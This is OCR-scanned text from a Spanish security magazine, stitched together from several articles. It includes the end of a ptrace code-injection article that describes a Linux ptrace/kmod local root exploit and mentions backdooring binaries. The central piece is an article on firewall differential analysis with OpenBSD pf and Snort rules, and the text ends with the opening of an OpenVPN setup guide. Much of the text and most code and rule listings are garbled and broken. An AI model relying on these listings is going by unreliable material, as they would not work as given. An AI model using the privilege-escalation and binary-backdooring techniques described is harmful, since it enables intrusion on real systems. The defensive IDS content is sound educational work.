signal (SIGALRM, sigalemi:
alarmil
BAEENT getpidil.
child Eacki)

rictim child

Lf jehild == =1}

facal (®[=] Unable co fork®);:
if {child

do_ehildih:

=] A

do_parent (azgw(0]}:

raturn [;

En la Red

«  hip:ipublib 16 bowlder.ibm.comipsenesien USAbsbaseldiplrace.him - referen-
cia técnica: Sistema Basico de Operacion y extensiones (Base Operating System

and Extensions), Volumen 1;

«  hitpiiwww.phrack.comiphrack/589/p58-0x0c.Ixt — construyendao los codigos de

capa de inyaccion prrace ()

«  hllpwww . die nel’docinux/man/mand/plrace, 2. himl = man 2 prrace ().

Sobre el Autor

Stefan Klaas se occupa del campo de la Seguridad IT desde hace los 10 afics v ha
trabajado como Administrador de Seguridad e Ingeniero de Software. Desde el afio
2004 es CEO de la Compafiia GroundZero Security Research en Alemania. Sigue
desarrollando el cédigo Proof of Concept Exploit, activamente investiga las ediciones
relacicnadas con seguridad y realiza las pruebas de Penelration.

Linux kernel gtrace () /kmod local
root exploit. El cédige aprovecha
de la condicion de carrera en
kernel/kmod.c lo que crea el hilo de
kernel en un modo inseguro, Este
gusano permité a8 ptracei) UNOS
procesos clonados, permitiendo
tomar control sobre los archivos
binarios privilegiados modprobe.
Deberia funcionar bajo todos los
actuales kernels 2.2x y 24.x
Descubri este estipido gusano in-
dependientemente el 25 de Enero
de 2003, esto es (casi) dos meses
antes de que fue fijado y publicado
por Red Hat y otros. Wojciech Pur-
czynski cliph@isec.pl ESTE PRO-
GRAMA ES PARA OBJETIVOS
DE EDUCACION SOLAMENTE ES
SUMINISTRADO TAL COMO ES
¥ SIN NINGUNA GARANTIA ((c)
2003 Copyright by ISEC Security
Research).

Conclusion

Ok, acabamos de aprender una
gran forma de manipular los pro-
gramas en ejecucion en la me-
moria. Esto nos da un montdn de
posibilidades para cambiar el flujo
de ejecucion de tal forma que po-
demos completamente controlar el
programa.

Vamos a decir que tenemos la
Fuente de Demonic Cerrada que
no tiene demasiado buenas carac-
teristicas de registro y el archivo de
registro @ mas bien muy simple,
ipero ti querras mas informacion!
Mormalmente tendrias que vivir con
ello o demandar del vendedor para
actualizarlo. jAhora puedes sim-
plemente hacerlo t0 mismo!

Escribes una pequefia prrace)
injection herramienta que intercam-
bia la funcion de registro conligo o
simple registrar todo al enganchar
en read()/write{) O como tal.

Frecuentemente este conoci-
miento es usado por probadores de
Penetration con pcrace) injection
los cddigos de capa para estallar de
chroot, o por hackers a la backdoor
Binaries, pero este conocimiento
también te ofrece mas flexibilidad
&n tus trabajos de Admin al trabajar
con Codigo Fuente Cerrada. @
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Violacion y Aplicacion
de Politicas de Seguridad
con IDS y Firewall

Arrigo Triulzi, Antonio Merola [

Grado de dificultad
@

uando se formula una politica de
' seguridad esta incluird temas como

configuraciones obligatorias de fi-
rewalls y la monitorizacion de los logs de los
firewalls para verificar violaciones de la politi-
ca. Lo que muchas veces se pasa por alto, es
que como todos los dispositivos informaticos,
pueden fallar. Ha habido varios fallos bien
publicitados en varias soluciones firewall,
tanto comerciales como Open Source. Los
Fireawalls pueden dividirse en dos categorias
basandonos en la idea que hay detras de su
configuracion: es o cualquier cosa no explici-
famente permitida esta prohibida o cualquier
cosa no explicitamente prohibida esta permi-
fida. Historicamente, la segunda forma, l.e.
un firewall permisive, ha sido la mas comun,
pero segun crecia Internet y sus amenazas,
la primera forma se ha convertido en la elec-
cién. Esta forma también puede verse como
una larga lista de reglas de listas blancas que
permiten acciones cerradas con una regla ca-
teh-all que deniega todo lo demas. Una regla
de firewall se define como una descripcion
(especifica de cada producto) que indica a
la solucidn firewall que hacer con un determi-
nado tipo de trafico. Por ejemplo, podriamos

— www haking.org

tener una regla definida como: permitir lodo
el acceso a nuesiro siio web corporativo
desde la red inferna. Esta regla es un ejem-
plo de una lista blanca, algo que especifica
comportamiento autorizade y esperado. Lo
que se espera de un firewall es que, si se en-
cuentra trafico que concuerda con una de las
reglas white-listing, el trafico fluira libremente
mientras que cualquier trafico prohibido (por
ajemplo, por la regla catch-all) es blogueado
y tal accion reportada.

( En este articulo comentaremos como puede usarse un Sistema
de Deteccion de Intrusiones en Redes (NIDS) como herramienta
de verificacion en el caso especifico de un fallo del firewall y

como herramienta para la aplicacion de la politica de seguridad.

( En este articulo aprenderas...

+ Deteclar violaciones de las reglas de un
firewall;

+ Detectar configuraciones emdneas de un
firewall;

«  Aplicar la politica de seguridad.

Lo qué deberias saber...

+  Deberias tener por lo menocs conocimienios
basicos sobre firewalls e 1DS;

»  OpenBSD pfy Snort (usadas coma herramien-
tas en todo el articulo).




Analisis Diferencial de Firewall

La cuestion que gqueremos solu-
cionar es la del fallo en el modo de
funcionamiento normal del firewall.
Lo que gueremos decir con esto es
que la arquitectura interna del firewall
causa que ftrafico que deberia ser
blogueado fluya libremente. Esto es
particularmente interesanta si la regla
catch-all, o cualquier otra regla de de-
negacidn, no se activa. En este caso
na tendriamos ningun registro de que
lo que esta ocurriendo a través de los
mecanismos normales de informa-
cidn del firewall. La mejor analogia tal
vez sea la del guardia de seguridad
dormido: la regla (i.e. bloquea a todos
los desconocidos) esta activa pero no
se esta aplicando debido a un fallo
del sisterna (i.e. el guardia de segu-
ridad esta dormido). Esta claro que,
debido a la posibilidadde un fallo de
software en un firewall, no podemos
confiar en el para detectar una vio-
lacion de la seguridad. Por lo tanto
necesitamos una herramienta exter-
na para validar el comportamiento de
nuestro firewall.

Diserio de Firewalls

El disefio de una configuracion de
firewall segura ha cambiado len-
tamente de ser un arfe negra que
requeria la escritura de comandos
05cUros en un prompt al interfaz gra-
fico de usuario point & click de los
dltimos productos. También se ha
convertido en un bien de consumo al
estar el software firewall disponible
para estaciones de trabajo indivi-
duales, los normalmente llamados
firewalls personales. Nos concentra-
remos en aquellos colocados para
proteger redes empresariales de
intrusiones externas.

La migracion de la sintaxis de |a
linea de comandos al interfaz gra-
fico de usuario fue un cambio bien-
venido, que abria la posibilidad de
asequrar la infraestructura de red
de la empresa en sitios donde no
se disponia de los conocimientos
especializados. Al mismo tiempo,
esta falta de conocimientos espe-
cializados ha significado una mayor
dificultad de deteccidn v actuacion
sobre configuraciones errdéneas o
fallos del firewall.

OpenBSD pf

OUTSIDE

INSIDE

Figura 1. Arquitectura simplificada de red con firewall

Cuando se disefa una configu-
racion de firewall el curso de accion
correcto es traducir esas reglas en
directivas de una politica de seguri-
dad. Un politica de seguridad simple,
pero efectiva, es que no deberia ha-
ber acceso directo a la red externa
desde la red interna y que todo el
trafico permitido deberia ser dirigi-
do mediante proxys. Estos proxys
aceptan correo electrdnico y trafico
web y FTP procedente del interior,
lo verifican, v lo mandan al exterior.
En la direccidn contraria actian de la
misma forma.

Lo que normalmente ocurre
después es que las CEQ excepfions
empiezan a aparecer. La razon para
esle nombre es que inevitablemente
estan impulsadas por altos ejecutivos
que requieren acceso desde casa o
mientras se estan desplazando. Pa-
ra darles soporte mas y mas reglas
para atravesar el firewall se van afia-
diendo. Lentamente pero de forma
inexorable, éstas erosionan la fuerza
de |a politica de seguridad, haciendo

a la vez que la monitorizacién sea
mucho mas dificil. Un suceso similar
pero algo menos letal es una puerta
de enlace basada en RSA SecurelD.
A pesar de su fuerte mecanismo de
autentificacion el objetivo sigue sien-
do abrir excepciones en el conjunto
de reglas del firewall.

El disefio basico de |a red desde
el punto de vista del firewall es de
hecho un interior y un exterior Segun
se complica la configuracidn de un
firewall lo que ocurre realmenle es
que un Unico firewall tendra multiples
interiores (i.e. redes empresariales
conectadas directamente) vy multi-
ples exteriores, por ejemplo varias
lineas con diferentes ISPs. Es ocurre
debido a la practica comun de agre-
gar tantos servicios como sea posi-
ble a un Onico sistema, siendo un
gjemplo perfecto los sistemas Cisco
donde el router puede actuar como
un firewall, switch, concentrador de
linea de conexidn por marcacion,
y servidor terminal afadiendo las
tarjetas de expansion adecuadas.

o

| Listado 1. Configuracion de OpenB85D pf

ext [f = "pal”
.'_la. EE - TH

gxt office ="10.105.0.0506™

. AT VLR N -
ini = = L I -
AT 23R = LF8, 46840, E

| int_hoste auch = %{ 189:d.168.10.181/12,

92.1% AAS32, 192.1B8.10.189/32,
[ B.10.150 i 2.1 0 /32 92.LEB. 10,2147
02 168, 10,215 .
# tsto blogueard todo el trdfies encrante an asmboz interfaces
oloquea Todo
# Esto permite a los hosts intérnos int _hosts auth alcanzar la zed 10.105/16

pass in on §

flags 5/5&
pass out on Sexc if

www, hakin9,org

ipt if proto tcp from Sint_hosts avth to Sext_office keap atate
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Para el proposito de este articulo es
suficiente considerar a un dispositive
firewall basado en reglas con un in-
terior y un exterior como aparece en
la Figura 1.

Consideremos un simple firewall
como el que aparece en el Listado
1, basado en OpenBSD pf. En esle
ejemplo el interior esta definido pa-
ra ser la red 192.168.10/24, todo lo
demas es exterior Dentro del exte-
rior podemos definir 10.105/16 para
que sea un red remota de oficina a
la que necesitan acceder usuarios
de la red. La politica basica es que
ninguna conexion entrante esta
permitida a no ser que sean una
respuesta a conexiones salientes
de los hosts internos. Dentro de
la configuracion tenemos entradas
que definen agujeros y un blogqueo
de todas las declaraciones. Tam-
biégn asumimos que el firewall de
OpenBSD esta bien configurado
para funcionar como router, inclu-
yvendo la verificacion de la con-
figuracién de las direcciones IP,
poniendo  nel.inel.ip.forwarding=1
dentro del archivo Jefc/sysch conf
¥ pI=YES en feic/rc.conflocal para
activar pf y hacer que éste lea su
archivo de configuracion durante
&l inicio.

Estas reglas autorizan que el rafi-
co fluya entre algunos hosts de la red
192.168.10/24 y cualquier host de la
red 10.105/M6 y las clausulas de blo-
queo deniegan cualguier olro acceso.
En teoria en esta etapa deberiamos
ser capaces de decir que excepto
aquellas declaraciones de paso, nada
an absoluto debe de salir de nuestra
red interior Ademas tenemos que
instalar nuestras reglas creadoras
de logs correctamente y cualquier
intento de viclacion de la clausula de
bloqueo se enviara al host de los logs
para su monitorizacion.

Analisis

Diferencial de Firewalls
Habiendo preparado una red de
ejemplo necesitamos pensar en la
monitorizacién en caso de fallo del
firewall. Lo ideal seria comprobar
que cada una de las reglas definidas
en la configuracion del firewall se

cumple y, lo mas importanie, que
se& cumpla la clausula de denega-
cion. Por lo tanto necesitamos ser
capaces de comparar trafico inferior
con trafico exterior en tiempo real v

avisar cuando esto contradiga las
reglas especificadas. Esto modifica
nuestro diagrama de red trivial afia-
diendo dos puntos de control como

en la Figura 2.

OpenBS0 pf

OUTSIDE INSIDE

Figura 2. Red simplificada con firewall y con puntos de control

-

Copia de Trafico

Para poder analizar o monitorizar el Irdfico de una red necesitas poder acceder a
€l en tu red; para conseguir esto usas hubs, puertos span o TAPs. Un forma comdn
para hacer un smiff del trafico es usar un hub, un dispositivo que manda los paguetes
a todos los interfaces, asi que en este caso, todo lo que tienes que hacer es poner
un interfaz en modo promiscuo en tu sensor/sonda, enchufarlio al hub y eso es todo.
Por supuesto, las arquitecturas de las redes corporativas no usan hubs debido a su
naturaleza pero proporcionan swilches/routers asi que es necesario usar span port o
TAP. Veamos la diferencia,

SPAN proviene de Swilched Port ANalyzer y también es conocido como port
mirroring. No es nada mas que configurar el puerto de un swilch, donde conectas tu
sondalsensor, que recibe el trafico de otros puertos. Incluso aungue es un método
simple y todos los fabricantes lo soportan, hay algunas debilidades tales como en re-
des con mucha carga, donde un puerto SPAN puede sallarse trafico debido a la prio-
ridad baja de la tarea asignada a copiar trafico comparada con la asignada a pasario;
mas aun, lambién paquetes de red corruptos y errores en las capas 1y 2 son llevados
por el switch al puerto SPAN. Otro problema afecta a la capacidad, por ejemplo, para
ver Irafico full-duplex en cada enlace de 100 Mbps, un puerlo span necesitaria 200
Mbps de capacidad. Por esta razdn puede que necesites TAPs.

TAP proviene de Test Access Port, un dispositive disefiado para monitorizar: es un
puerto de acceso permanente que te permite conectar una sondalsensor para mani-
torizacion pasiva. Recibe el mismo trafico que gl estuviera in-ling, incluyendo errores
gue no afectan al trifico. Los TAPs pasan datos full-duplex, y el datastream es dividido
en TX y RX, asi que necesitas dos interfaces de red y algo para recombinar el tréifico;
eslo se puede hacer creandd un interfaz virtual conocido come channel bonding, mas
informacion en hilp:(fsourceforge. net/projects/bonding. Alternativamente, se puede
usar un herramienta como mergecap para crear un Unico flujo de ambos datastream o
menas provechosamente, conectar el TAP a un switch y la sonda/sensor en un puerto
mirrored del switch o puedes usar port tap aggregator donde el puerto de monitoriza-
ciin recibe todo el trafico combinado. De cualquier forma, si lienes que desplegar ar-
quitecturas complejas con diferentes sensores, otra forma es usar hardware de nueva
generaciin como dispositivos con mas enlaces de red rara analizadores distribuidos.
Para completar esta breve vision general acerca de las metodologias de copia de
trafico mostramos en la Figura 5 un dibujo tipico del esqueama de una conexidn TAP.
También re recomendamos que eches un vistazo a las guias de despliegue de siste-
mas de deteccitn de infrusiones en: http:/www.snorl.org/docs/#deploy

www. haking.ang
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En los dos puntos de control po-
demos elegir entre mirroring o tap (ver
el apartado Copia de trafico) para un
Sistema de Deteccidn de Intrusiones
en el que a continuacion se carga-
ran las reglas apropiadas. Tomemos
como ejemplo el uso de Snort como
MIDS. El razonamiento puede aplicar-
se a cualquier otro NIDS que haya en
el mercado que sea adecuadamente
programable. En este punto el error
mas comin es pensar en ftrafico
moviéndose en una direccion: del ex-
terior al interior. Aunque va mas haya
de las intenciones de este articulo
deberiamos mencionar algunas razo-
nes muy buenas para monitorizar el
trafico saliente. Lo primero, la dltima
generacion de virus de Windows que,
ademas de generar enormes cantida-
des de correos electrnicos salientes
con todo tipo de documentos confi-
denciales, ahora abren backdoors o
intentan conectarse directamente a
sistemas externos, comportamiento
conacido como calling home (llamar a
casa) y eficazmente deja el ordenador
de la victima a disposicion del creador
del virus (o creadores, por supuesto)
para cualquier uso. Frecuentemente
suelen usarse para hacer flooding
con frafico sin sentido de redes IRC,
donde han sido baneados, o aclivida-
des similares.

Si estas ideas no han creado una
imagen suficientementa sombria de lo
que puede pasar, se pueden mejorar
mencionando el uso malicioso delibe-
rado de sistemas internos para atacar
sistemas externos, o de hecho el robo
de informacion a través de dispositi-
VOS5 COmo impresoras v servidores de
impresidn, equipos de monitorizacion
de red y software mal configurado.

Si consideraramos sdlo el trafico
procedente del exterior hacia el inte-
rior entonces claramente todo lo que
necesitamos es un sensor en el inte-
rior del firewall. Estaria programado
para alertar de todos los fallos de la
configuracion del firewall cuando se
vea trafico tedricamente prohibido en
la red interna. Habiendo discutido las
distintas posibilidades de trafico mal-
intencionado o imprevisto viajando en
la direccién opuesta podemos facil-
mente justificar el sensor externo.

Configuracion del NIDS
— sensor interno
Empecemos configurando el sensor
interno. El conjunto de reglas se pue-
de definir en términos sencillos:

« La variable S$INSIDE define la
red 192.168.10/24 que habiamos
indicado anteriormente, como la
red de la empresa.

« La variable $OUTSIDE define
todo lo demas: [§INSIDE (el
signo de exclamacion es la for-
ma corta &n notacién de Snort
para not.

Office LAN 1010516
>

Luego tenemos que atender a las
excepciones como aparece en la
seccion firewall:

«  SEXTERNAL_ OFFICE esdefinida
como la red a la que autonzamos
conexiones directas, 10.105M6.

=  Ademas SINT_HOSTS_AUTH es
el conjunto de sistemas internos
que permitimos que conecten di-
rectamente a la red externa. Eslo
esta escrito, en notacion de Snort,
como la lista completa de direccio-
nes |IP separadas por comas entre
corcheles, i.e. [192.168.10.167....].

OpenBSD pf

182.168.1.1

2

proxy miail

Figura 3. Red simplificada con punto de monitorizacidn.

Figura 4. Esquerna de una conexion TAP
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Finalmente necesitamos definir
algunos objetivos obvios: la red in-
terna tendra, como minimo, un wab
proxy, un servidor de correo y un
servidor DNS. Asumiremos que es-
tos servicios estan todos en el host
192.168.1.1 fuera del firewall (esto no
es una buena idea, deberia estar en
una DMZ pero para este ejemplo la
simplificacion sera suficiente). Por lo
tanto definimos.

+  El hostde servicios, S5ERVICES
sera 192.168.1.1.

Donde podemos escribir las reglas
importantes que aparecen en el
Listade 2, basandonos en la red
dibujada en la Figura 3. Date cuen-
ta de que el orden es importante
ya que queremos que las reglas
de paso tengan prioridad sobre la
regla cafch-all de alerta que ira al

final. Observa también que eslas
reglas requeriran gue Snort corra
con la opcibn -0 para imponer
al orden pass, log, alert al motor
de reglas. Notese que este es un
conjunto de reglas minimo, con
esto queremos decir que estamos
ignorando  algunas funciones de
Snort, como algunos plugins, que
puede ser de importancia vy que de
hecho ninguna de las firmas estan-
dar configura,

Anadir reglas de Snort

a un sensor interno

Una cuestion importante es la de las
reglas distribuidas con la distribucion
estandar de Snort: ;Deberiamos
usarlas? La respuesta depende la
configuracion local de un sitio de-
terminado. Claramente, si el cbjeto
del ejercicio es simplemente verifi-
car la integridad del firewall no, no

Listado 2. Configuracion inferna de Snort

§ Sensor Intermo - reglas a usar con la opclon =07 da Snore

Il

# Dafine variablas
[

var IHSIDE [i7<.288.10.0/:24

var CUTSIDE !¥INZIDE

var SERVICES |[139Z.16&B.1.14 fad

var PRONY POAT S0E0 § TCP

var SMTF POHET £ § TCP

var DHS POAT 53 & TCR/UDP

var EXTERMAL OFFICE [1D.105.0.0/14

var INT_MOSTS_AUTH [122.168,10.167,182.188.1

e e T e e ¥
=1 EE ., O £
1§ 7 L1 g B SR R S ] -

L]

§ Empieza con lasz reglas de paso, nbtese gque asunfnns sistemas con buen

compoztamignto

§ con conexiones origindndose desde puertos sin privileglas

pass tcp SINSIDE L1023:

pass Lop SINSIDE LUz

» JEERVICES SFROMY PORT
‘> SEERVICES 33MTP PORT

f Log siguientes asumén und librerla resclver moderna, ie. sport 1= 53

pads top SINSIDE LULa: «<»
paas udp SINSIDE 10Z3: <>
pass tep FINT BOSTE AUTH 1023

SSERVICES FDHZ POAT
SSERVICES FDHE_POAT

023: «» SENTERMAL OFFICE any

Reqla Catch=-all, grabands la sesidn. Esto monitoriza el tréfico externo

ragla &n el Sensor externo mopitorizands el tridfico en la

L
P en el interior del firewall. Tendoemos la correspondience
L}
L}

direccidn apuasta.
i
AT EEEE!CH_T?L ED

alert tep SOUISIDE any ==

# How lomg do we keep the szezslon for?

=iNSIRE any %

mag: “rirewall error = disalliowed exrcernal traffic an ine net™ )

Cag: sexsion, EEEEEICﬂ_?TL, seconds:

FErrly

hay necesidad de cargar las reglas
de Snort, Por otro lado, una vez
hemos instalado un NIDS parece
un desperdicio no usar su capaci-
dades mejoradas. Normalmente es
una buena practica afadir reglas
locales al final del archivo de reglas
estandar, snort.conf. Este orden
implica que una vez que las reglas
de paso hayan sido evaluadas se
miraran todas las alerlas de Snort
y para terminar se aplicara la relga
catch-all.

iQué tipo de calches se pue-
den esperar de las reglas de Snort
en una red interna? El mayor
beneficio se puede obtener de
las reglas que detectan lroyanos
de Windows. En el exterior de un
firewall bien configurado las co-
nexiones salientes pueden no ser
detectadas nunca y una infeccion
de la red interna puede permane-
cer oculta siempre. Si tomamos
como ejemplo nuestra configura-
cion particularmente rigurosa del
firewall, una conexidén saliente ha-
cia el host 172.16.12.1 en el puerto
24321, nunca seria vista por el
NIDS externo. Pero monitorizando
la red interna sin la mediacion del
firewall un troyano que esluviera
intentando “call home” seria inme-
diatamente detectado.

Configuracion del NIDS
— sensor externo

La principal diferencia entre el sensor
interno y el externo es que el dltimo
asta expuesto a el exterior, Esto lo
hace un candidato ideal para cargar
las reglas estandar de Snort.

Las reglas del NIDS veran todo el
trafico, tanto legitimo con malicioso,
con un filtrado minimeo o sin filtrado
(mencionamos filtrado minimo por-
que algunos ISPs ilustrados llevan
acabo filtrados en sus backbones
limitando de esta manera algunos
ataques).

El conjunto de reglas por lo de-
mas es idéntico con la excepcion de
alertar sobre trafico interno viajando
hacia el mundo exterior. Esta es la
diferencia principal que hace que el
andlisis diferencia del firewalls me-
rezca la pena: ser capaz de detactar

www, haking.org
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fallos de la configuracion del firewall
en ambas direcciones. Una vez mas
mantanamos las mismas definicio-
nes, en el Listado 3.

Tratando con Network
Address Translation
Hablando estrictamente, el Net-
work Address Translation (NAT) no
deberia existir de acuerdo con las
reglas expuestas en las especifi-
caciones TCP/IP. Esto es debido a
que uno de los pilares sobre los que
se apoya TCP/IP es: wna maguina,
una direcién IF. Un NAT no es mas
que un mecanismo por el cual unas
direcciones IP obtenidas del rango
privado {(definide en RFC1918) son
transformadas por un firewall traduc-
tor en una Gnica direccion IP plblica
antes de ser enviadas a Internet. Tie-
ne numerosas ventajas: nos permite
limitar el desperdicio de direccionas
IP mediante la colocacion de un nd-
mero enorme de maquinas defras
de una dnica direccién IP y ademas,
algo mucho mas importante desde el
punto de vista de la seguridad, crea
una barrear adicional a la entrada
desde el exterior. La razon de la po-
pularidad de NAT en la comunidad
de seguridad es que hace mucho
mas dificil mapear la red que se en-
cuentre detras de un firewall ya que
todas las conexiones originadas en
el exterior no tendran una entrada en
la tabla de mapping del firewall (aqui
asumimos que no se esld haciendo
ninguna redireccién de puertos).
Esta capacidad permite direccionar
un puerto de la direccion IP plblica
a un puerto en una direccion privada
detras del firewall). Aunque esto no
@s un dificultad insuperable (se pue-
de conseguir accesos a lravés de
proxys, ataques man in the middle,
elc) aumenta el grado de dificultad
significativamente. Obviamente el
NAT tiene el efeclo secundario de
hacer nuestra definicion de exterior
e inferior un poco mas oscura. La
razon es que, en cuanto a lo que se
refiere al firawall, cualquier IP en el
interior s una IP privada y, segun
RFC1918, no enrutable. Esto quie-
re decir que un router conectado a
Internet no deberia aceptar ninguna

direccion del rango RCF1918 ha-
ciendo imposible que una direccidn
IP pdblica enviara un paguete a una
direccién IP privada (tristemente, y
esta es la razon del deberia, esto no
ocurre siempre). Este regla no hace
gue nuestra regla en el sensor inter-
no sea erronea debido a que un ran-
go de direcciones internas RFC1918
siga recibiendo paquetes desde un
direccién enrutable (i.e. pablica). El
firewall no traduce direcciones exter-
nas en trafico entrante, solo rema-
pea la direccion de destino usando
la transformacion (IPext, dportext)!
(IPint, dportint) para cualquier co-
nexidn originada internamente. De
hecho no sdlo se monitorizan fallos
en el motor de reglas del firewall sino
también en el motor NAT, como un
apéndice a nuestra definicion pre-
via. Esto es debido a que cualquier

conexion que no s& origineg en uno
de los hosts externos aulorizados
nunca deberia ser vista, esté el NAT
activado o no.

Ahora, ;jQué pasa con el sensor
externo?;Tiene sentido monitorizar
una direccion interna en la red ex-
terna? De hecho, jsi lo tiene! Si se
ve una direccion interna en la red
externa entonces se esta violando el
RFC1918 porque no deberia de haber
direcciones IP no enrutables en Inter-
net. Asi que la regla catch-all externa
ha detectado un fallo del motor NAT.
Falto un pequefio detalles: el hecho
de que cojamos direcciones internas
en la red externa no es suficiente. Si
el NAT estd activado y funcionando
puede que aun estes violando s re-
glas de firewall. Volvamos a las reglas
originales definidas en la seccién 2.
Lo que hay que entender es que bajo

I.-- E

.

Listado 3. Configuracion externa de Snort

¥ Sensor Externo - reglas a usar con la opclén "=o7 de Smort

[ #
# Defime variables
[}

var IHSIDE [192.168.10.0/24
wacr CUTSIDE !FIMGIDE
var SERVICES [I%2.168.1.1/32
var PROXY PORT G080 # TCP
var SHIP PORT 23 & TCP
war DHN3 PORT -2 & TCPAUDP
| var EXTERMAL OFFICE [10.105.0.0/16

var INT_BOBTS _AUTH [i%2.188.10,167,182.168,10.1¢

# Espiezs con lag reglas de paso, néllrese que asunimos Sistenss com buen

comportamiento

§ con conexiones origindndose desde puertes sin privilegiocs

i
pazz eep SIRSIDE LO23: -
pass tcp JINSIDE L

SEERVICES SPRONY_PORT
- SSERVICES SSMTF POET

i The following assumé a moderm resolver library, le. apoct != 33

pass tcp SINSIDE 1023:
pass udp SINSIDE 11

pass tep SINT_BOSTS_AUTH 1023:

> SSERVICES SDHS PORT
<» SSERVICES 5DMS PORT
cx SEXTERMAL _OFFICE any

Fegla Catch-all, grabando la sesién. Esto monitoriza el trifico externs

direccion apuesta.

var 3EISI0ON_TTL &
alert tep SINSIDE any -»
asg: "Firewall ercoz
tag: session, SSESSION TT

EEV LN

TTL, saconds:

i

£

i en el interior del firewall. Tendremos la corzespondiente
| # regla em &l s4nsor extecno sonitorizande el tCodlics en la

]

i

# How long do we keep the session for?
SOUTSIDE any |

= disallowed invernal traffic on eXt nec"™ \

3
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MNAT lo que ocurre es gue el trafico sa-
liente esta sujeto a las transformacion
(IPint, sportint)! (IPfw, sportfw) donde
IPfw es la direccién IP enrutable (i.e.
pdblica) asignada al firewall y sportfw
es un puerto de origen aleatorio asig-
nado por el motor NAT. Esto significa
gue todas las reglas necesitan ser
aplicadas con SINTERNAL mapeado
a la direccion IP pdbluca del firewall.
Finalmente, hay un gran fallo que nos
impone &l NAT: perdemos la habilidad
de monitorizar esas reglas de paso
especificas que hemos definido entre
sistemas internos especificos y una
red externa. Esto es debido a que el
motor NAT, asumiendo que no falle,
hace que todas las direcciones IP
internas se parezcan a la direccion IP
externa del firewall. Por lo tanto per-
demos SINTERNAL_AUTH. No hay
ninguna solucion real para esto ex-
cepto confiar exclusivamente en las
reglas internas, esto es que la regla
de paso de la configuracion interna
siga restringiendo correctamente las
direcciones IP; ver Listado 4.

Conclusion

Una vez que se han obtenido los
datas por los dos sensores se puede
aplicar “log fusion™ para comparar el
resultado esperado (nada mas que
alertas estandar de Snort) con el re-
sultado real. De hecho, si se usa una
adecuada sincronizacion NTP, los
logs puede monitorizarse en paralelo
¥ los resultados importantes queda-
ran resaltados inmediatamente.

El objetiva del Analisis Diferencial
de Firewalls es permitite controlar
los fallos inesperados del software
del firewall o malas configuraciones
forzando al analista de seguridad a
escribir las reglas en al menos dos
notaciones (analistas de seguridad
particularmente dedicados pueden
considerar el uso de software NIDS
diferentes para los sensores internos
¥ externos).

De esta manera también conse-
guimos el cumplimiento de la politica
de sequridad que se puede aplicar en
una empresa, donde es comdn tener
dos grupos de responsabilidad llama-
dos NOC y SOC (Network Operation
Centery Security Operation Center).

Listado 4. Configuracion del sensor externo con soporte para NAT

¥
f SenFOr exCeonds con SOpOrTe pacsa HAT
¥ REQ:G& A usar oon la DpElUﬂ Pagf

]

# Define variables

§

var QUTSIRE 5IMSIDE

var PWEXTIP [Li£.16. fa

var INSIDE [192.168. fis, SFRENTIP
ar SERVICES P

var PROXY PORT BOBQ & TP

var SHTP_PORT 25 § TCT

var DNS PORT 53 4 TCPRSUDR

var EXTERNAL OFFICE ([10.105.0.0/1%

# Hotese gue la mayoria de las ipplementaciones siempre remapearan

-
EuanTe

el DueIkc

¥ A un pPuRerto s5in priviiegles indepeandientensnts del pusrktso sriginal

z

pass top JFWENTIP LOZ23:
pass tcp SFWEXTIP L0:23: <> SSERVICES
JIERVICES

SEERVICES

pass top SEWEXTIF
pass udp SFWEXTIP 1023: <

» $SERVICES SPROXY PORT
SaNEE_PORT
S5 _PORT

SONS PORT

i Hotese que esta reglas &35 mucho més débll ahsra - cubre elicazmente

t &l conjunto de la red
paza tep SFPWEXTIP I0Z23: -
8

Lnteona via NAT.

$ENTERNAL OFFICE any

§# Feola Catch=ali, grabands la sesidn. Esto monitoriza el

§ crafics sxcarno &n la med extarna.

EE

1580 T
LS

B
& H
4
T b

. k) LEr)

p SINSIDE any

tag: sesslon, S5ESSI0H_TTL, aaconds;

iL 20§ How leng do we keep the session for?
SOUTSIDE any

RiEALlOMES LETErn

L1

11l reaffic an exkE nat®™ |

El NOC es responsable de la gestidn
vy la configuracidn de dispositivos tales
como routers, firewalls, ips mientras
que &l SOC tiene la responsabilidad
de monitorizar el trafico, recoger los
logs de los IDS, sondas RMON, etc.
Tambien, el Analisis de Incidentes y el
Analisis Diferencial de Firewalls per-
mite a ambos grupos colaborar- no
solo tienen que escribir reglas en dos
sistemas sino que ademas NOC pue-
de aprovecharse de la comprobacion
de fallos del firewall mientras que al
S0OC puede aprovecharse de la com-
probacion de reglas para la politica
de violaciones de seguridad.

Posteriores lineas de investi-
gacion incluirian la monitorizacion
en tiempo real de fallos del firewall
integrando los resultados de Snort
© cualguier otro NIDS & una consola
central position-awarg.

Con position-aware Qquereamos
decir que la consola ha sido configu-
rada con el conocimiento de la loca-
lizacién de los sensores de manera
que los fallos del firewall puedan ser
correctamente reportados como in-
ternos, externos, motor NAT o cual-
quier otro sistema que este siendo
monitorizado.

Este lipo de analisis también pue-
de ser aplicado a servicios proxy gue
corran en un servidor para asegurar
que la conectividad con y desde el
proxy sea |a esperada. @

r’

- Enla Red
< hitpteww.openbsd. orgfagipl
*  hlipAwww snoriong

\
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Instalacién y configuracion
de OpenVPN Red Privada
Virtual sobre SSL

César Jiménez Zapals s

Grado de dificultad
aa

l'-i-

Las VPN permiten extender cualquier red local a través de una red
no segura, como Internet, de manera segura, utilizando para ello
encriptacion en los datos transmitidos. Con ello se consigue que
el acceso a la red local de una empresa se realice desde cualquier

sitio de manera transparente para el usuario final, con los recursos
locales disponibles como si estuviéramos conectados en la oficina.

n el presente articulo se detalla la
E instalacién y configuracion de la red

privada virtual (VPN, Virtual Private
Network) para el acceso a redes de empresa
desde cualguier conexion a Internet,

Las VPN clasicas se basan principal-
mente en el protocolo de comunicaciones
seguras ipsec, que ha demostrado su uti-
lidad y versatilidad durante muchos afios,
pero que también presentan ciertos incon-
venientes.

La version OpenSource mas conocida de
este tipo de implementaciones VPN - ipsec
es FreeS/WAN (htto://www.freeswan.org/)

Ultimamente se estan imponiendo las VPN
basadas en SSL, que presentan ciertas venta-
jas , sobre todo en sus versiones en software,
como la que nos ocupa. Estas ventajas son
principalmente dos:

* Una mayor facilidad en la instalacion y ad-
ministracion;

« Son mas sencillas de configurar para entor-
nos heterogeneos donde el terminador del
tunel VPN se encuentra tras firewalls, fuera
de la DMZ, o los clientes tras proxies de
acceso a Internel.

La arquitectura que implantaremos se basa en
el grafico que se puede ver en la Figura 1. En
ella intervienen los siguientes elementos:

= Clientes. Son los equipos que se coneclan
a la red local de la empresa a través de
Internet. En el ejemplo dichos sistemas
tienen sistemas operativos de la familia
Windows. En su conexion a internet obtiene
una ip, por ejemplo la 2.2.2.2,

-
En este articulo aprenderas...

